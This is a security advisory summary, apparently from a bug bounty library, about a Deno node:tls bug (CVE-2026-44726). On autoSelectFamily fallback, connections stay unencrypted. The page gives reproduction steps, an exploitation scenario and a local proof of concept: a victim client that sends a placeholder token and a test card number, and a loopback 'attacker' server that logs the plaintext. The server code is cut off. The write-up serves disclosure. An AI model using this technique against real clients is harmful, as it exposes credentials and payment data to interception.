# Deno's TLS retry copies stale upgrade hook, risking plaintext traffic

Deno's node:tls autoSelectFamily retry reused a stale TLS upgrade hook, so the fallback TCP socket stayed plaintext and leaked tokens and card data.

- Payout: Research
- Severity: high
- Program: Deno
- Found by: r3wretrhy
- Disclosed: 2026-05-27
- CVE: CVE-2026-44726
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-chqv-56wv-7564
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-chqv-56wv-7564
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs tech:rust technique:source-review vuln:info-disclosure vuln:misconfiguration

**Target:** node:tls / node:https compatibility layer in Deno runtime
**Root cause:** On autoSelectFamily fallback, the socket reinitialization path reused a TLS upgrade hook bound to the original failed handle, so the replacement TCP connection was never upgraded to TLS.
**Steps:**
1. Run `attacker.mjs`: a `node:net` server on 127.0.0.1:4444 logging received bytes.
2. Run `victim.mjs`: `tls.connect` with `autoSelectFamily: true` and a custom `lookup` returning `[{address:'::1',family:6},{address:'127.0.0.1',family:4}]` so the first attempt fails and falls back.
3. Victim writes request bytes before `secureConnect` (`POST /v1/charge`, `Authorization: Bearer sk_live_SECRET_TOKEN`, JSON body with card number).
4. Observe attacker logs the plaintext payload on vulnerable Deno (<2.7.8); patched Deno shows an opaque TLS ClientHello.
**How found:** Reporter traced the autoSelectFamily retry/reinitialization path in Deno's Node tls compat layer and noticed the upgrade hook still referenced the original failed handle rather than the new socket.
**Exploitation:** An on-path attacker causes the first address-family attempt to fail (e.g. dropping IPv6 traffic on a dual-stack host), deterministically forcing the fallback path; the replacement socket is never TLS-upgraded, so any pre-secureConnect application writes are sent in cleartext and can be read or tampered with.
**Insight:** In Node-compat shims, audit what state is carried across socket reinitialization/retry paths (autoSelectFamily, happy-eyeballs, reconnect): hooks and callbacks bound to the discarded handle silently apply to the wrong socket, and security-critical upgrades like TLS can be skipped.

## Proof of concept (copied exactly from the original report)

**Victim TLS client with autoSelectFamily fallback**

```
import tls from "node:tls";

const socket = tls.connect({
  host: "api.example.invalid",
  port: 4444,
  autoSelectFamily: true, // Node-compat default

  // First address is a black hole (nothing on [::1]:4444),
  // so autoSelectFamily falls back to the second address.
  // In a real attack, the on-path attacker arranges this via
  // routing, DNS, or by dropping the first SYN.
  lookup: (_host, _opts, cb) => {
    cb(null, [
      { address: "::1",       family: 6 }, // fails -> retry
      { address: "127.0.0.1", family: 4 }, // attacker
    ]);
  },

  rejectUnauthorized: false,
});

// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error",         (e) => console.log("[victim] error:", e.message));
```

**Attacker server capturing plaintext**

```
import net from "node:net";

const server = net.createServer((socket) => {
  console.log("[attacker] client connected from", socket.remoteAddress);
  socket.on("data", (chunk) => {
    // If TLS were working, this would be an opaque ClientHello.
    // If the bug fires, we see the application payload in cleartext.
    console.log("[attacker] received", chunk.length, "bytes:");
    console.log(chunk.toString("utf8"));
  });
});

server.listen(4444, "127.0.0.1", () => {
  console.log("[attacker] listening on 127.0.0.1:4444");
```

